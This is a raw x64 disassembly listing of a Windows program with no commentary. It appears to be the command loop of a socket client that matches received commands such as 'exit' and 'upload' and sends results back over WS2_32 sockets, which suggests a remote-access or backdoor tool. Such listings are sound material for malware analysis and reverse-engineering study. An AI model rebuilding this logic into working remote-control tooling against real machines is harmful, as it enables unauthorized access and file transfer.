lea rax, [rbp]
cmp r9, 0xf
cmova rax, rcx
cmp r8, 4
jne 0x140002cef
cmp dword [rax], 0x74697865
je 0x140002f0c
lea rdx, [rbp]
cmp r9, 0xf
cmova rdx, rcx
cmp r8, 6
jb 0x140002e16
mov rax, rdx
cmp byte [rax], 0x75
jne 0x140002d1d
cmp dword [rax], 0x6f6c7075
jne 0x140002d1d
cmp word [rax + 4], 0x6461
je 0x140002d2b
cmp rax, rdx
je 0x140002e16
dec rax
jmp 0x140002d08
cmp rax, rdx
jne 0x140002e16
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r15
cmp r8, 7
jb 0x1400030de
lea rax, [r8 - 7]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp]
cmp r9, 0xf
cmova rdx, rcx
add rdx, 7
lea rcx, [rbp - 0x20]
call fcn.140004bf0
nop
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.140001940
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140002dc1
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002dbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030c2
call fcn.1400056ac
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], recv
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140002c00
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002cc7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rbp]
cmp r9, 0xf
cmova rdx, rcx
lea rcx, [rbp - 0x40]
call fcn.140001370
nop
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x78]
call fcn.1400016b0
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rdx, qword [rsp + 0x78]
xor r9d, r9d
mov r8d, dword [rbp - 0x78]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140002e96
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030c9
call fcn.1400056ac
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], recv
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140002ee2
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002edd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030d0
call fcn.1400056ac
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], recv
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140002c00
inc rdx
mov rcx, qword [rbp]
jmp 0x140002ca2
cmp r9, 0xf
jbe 0x140002f40
lea rdx, [r9 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030d7
call fcn.1400056ac
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140002f94
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
movdqa xmm0, xmmword [0x140007840]
movdqu xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140002fe9
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fe4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002fe4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], recv
mov byte [rbp - 0x60], 0
mov rax, qword [rbp + 0x48]
cmp rax, 0xf
jbe 0x140003039
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003033
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003033
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
nop
mov rax, qword [rbp + 0x68]
cmp rax, 0xf
jbe 0x140003079
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003073
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003073
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
nop
mov rax, qword [rbp + 0x88]
cmp rax, 0xf
jbe 0x1400030bb
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400030b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056ac
xor eax, eax
jmp 0x140001cb3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400045d0
nop
call fcn.140001110
nop
call fcn.140001110
int3
call fcn.140001110
nop
call fcn.1400054d8
nop
call fcn.1400011b0
nop
call fcn.1400011b0
int3
call fcn.1400011b0
int3